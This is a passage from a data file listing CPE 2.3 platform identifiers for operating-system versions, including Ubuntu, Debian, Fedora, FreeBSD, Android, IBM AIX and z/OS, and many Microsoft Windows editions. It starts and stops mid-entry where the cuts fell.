:*\ncpe:2.3:o:canonical:ubuntu_linux:12.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:13.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:13.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:14.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:15.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:16.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:17.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:18.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:19.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:19.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:20.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:20.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:21.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:21.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:22.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:4.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:5.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:5.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:6.06:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:6.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:7.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:7.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:8.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:8.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:9.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:9.10:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:2:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:3:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:4:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:5:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:6:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:7:*:*:*:*:*:*:*\ncpe:2.3:o:centos:centos:8:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:0.91:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:0.93r5:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:0.93r6:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:1.1:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:1.2:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:1.3:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:10:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:11:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:12:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:13:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:14:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:2.0:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:2.2:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:3.0:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:3.1:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:4:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:5:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:6:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:7:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:8:*:*:*:*:*:*:*\ncpe:2.3:o:debian:debian_linux:9:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:10:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:11:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:12:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:13:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:14:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:15:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:16:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:17:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:18:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:19:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:1:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:20:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:21:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:22:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:23:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:24:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:25:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:26:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:27:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:28:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:29:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:2:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:30:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:31:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:3:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:40:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:4:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:5:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:6:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:7:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:8:*:*:*:*:*:*:*\ncpe:2.3:o:fedoraproject:fedora:9:*:*:*:*:*:*:*\ncpe:2.3:o:fnal:scientific_linux:3:*:*:*:*:*:*:*\ncpe:2.3:o:fnal:scientific_linux:4:*:*:*:*:*:*:*\ncpe:2.3:o:fnal:scientific_linux:5:*:*:*:*:*:*:*\ncpe:2.3:o:fnal:scientific_linux:6:*:*:*:*:*:*:*\ncpe:2.3:o:fnal:scientific_linux:7:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:10.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:10.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:10.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:10.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:10.4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:11.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:11.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:11.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:11.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:11.4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:12.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:12.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:12.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:12.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:13.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:13.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:5:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:6.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:6.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:6.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:6.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:6.4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:7.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:7.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:7.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:7.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:7.4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:8.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:8.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:8.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:8.3:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:8.4:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:9.0:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:9.1:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:9.2:*:*:*:*:*:*:*\ncpe:2.3:o:freebsd:freebsd:9.3:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:1.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:1.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:1.5:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:1.6:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:10:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:11:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:12:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:12l:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:13:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:14:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:15:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:2.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:2.2:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:2.3:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:3.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:3.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:3.2:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.2:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.3:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.4:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:4.4w:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:5.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:5.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:6:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:7.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:7.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:8.0:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:8.1:*:*:*:*:*:*:*\ncpe:2.3:o:google:android:9:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:5.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:5.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:5.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:5:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.0:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.5:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.6:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.7:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.8:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1.9:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:6:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.0:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.1.5:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.0:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.2.5:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.3.0:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:aix:7.3.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.10:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.11:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.12:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.13:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.5:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.6:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.7:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.8:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:1.9:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:2.2:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:2.3:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:2.4:*:*:*:*:*:*:*\ncpe:2.3:o:ibm:z/os:2.5:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows:6.5:*:embedded:handheld:*:*:*:*\ncpe:2.3:o:microsoft:windows:8.1:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows:8.1:*:embedded:-:*:*:*:*\ncpe:2.3:o:microsoft:windows:8.1:*:embedded:handheld:*:*:*:*\ncpe:2.3:o:microsoft:windows:8.1:*:embedded:industry:*:*:*:*\ncpe:2.3:o:microsoft:windows:8:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows:8:*:embedded:-:*:*:*:*\ncpe:2.3:o:microsoft:windows:8:*:embedded:industry:*:*:*:*\ncpe:2.3:o:microsoft:windows:8:*:embedded:standard:*:*:*:*\ncpe:2.3:o:microsoft:windows_10:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_10:-:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:enterprise_ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:iot_enterprise_ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:1507:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1511:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:enterprise_ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:iot_enterprise_ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:1607:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1703:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1709:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1803:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:enterprise_ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:iot_core:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:iot_enterprise_ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:1809:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1903:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1903:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1903:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1903:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1903:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:1909:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:1909:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1909:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:1909:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:1909:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:2004:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:2004:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:2004:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:2004:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:2004:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:2015:*:*:*:ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:2015:*:iot:*:ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:2016:*:*:*:ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:2016:*:iot:*:ltsb:*:*:*\ncpe:2.3:o:microsoft:windows_10:2019:*:enterprise:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:2019:*:iot:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:2021:*:enterprise:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:2021:*:iot:*:ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:20h2:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:20h2:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:20h2:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:20h2:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:20h2:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h1:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h1:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h1:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h1:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h1:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:enterprise_ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:iot_enterprise_ltsc:*:*:*\ncpe:2.3:o:microsoft:windows_10:21h2:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10:22h2:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_10:22h2:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:22h2:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_10:22h2:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_10:22h2:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_10_mobile:*:*:-:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_10_mobile:*:*:enterprise:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_10_surface_hub:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_11:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_11:21h2:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_11:21h2:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_11:21h2:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_11:21h2:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_11:21h2:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_11:22h2:*:*:*:education:*:*:*\ncpe:2.3:o:microsoft:windows_11:22h2:*:*:*:enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_11:22h2:*:*:*:home:*:*:*\ncpe:2.3:o:microsoft:windows_11:22h2:*:*:*:iot_enterprise:*:*:*\ncpe:2.3:o:microsoft:windows_11:22h2:*:*:*:pro:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:-:embedded:posready:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:-:embedded:standard:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:esu1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:esu2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:esu3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:esu3:embedded:posready:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:esu3:embedded:standard:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_7:*:sp1:embedded:standard:*:*:*:*\ncpe:2.3:o:microsoft:windows_ce:5.0:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_ce:6.0:*:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_compact_2013:*:embedded:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_compact_7:*:embedded:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_device_manager:*:-:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_device_manager:*:sp1:embedded:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_embedded_2009:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_embedded_pos:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_embedded_pos:*:sp3:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_embedded_posready_2009:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_essential_business_server_2008:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_home_server:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_home_server_2011:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_mobile:2003:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_mobile:5.0:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_mobile:6.0:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_mobile:6.1:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_mobile:6.5:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_multipoint_server_2010:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_multipoint_server_2011:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_multipoint_server_2012:*:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_phone:7.8:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_phone:8.1:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_phone:8:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_rt:8.1:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_rt:8:*:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2003:*:-:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2003:*:sp1:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2003:*:sp2:*:*:*:*:*:*\ncpe:2.3:o:microsoft:windows_server_2003:r2:-:*:*:*:*:*:*\ncpe:2.3:o: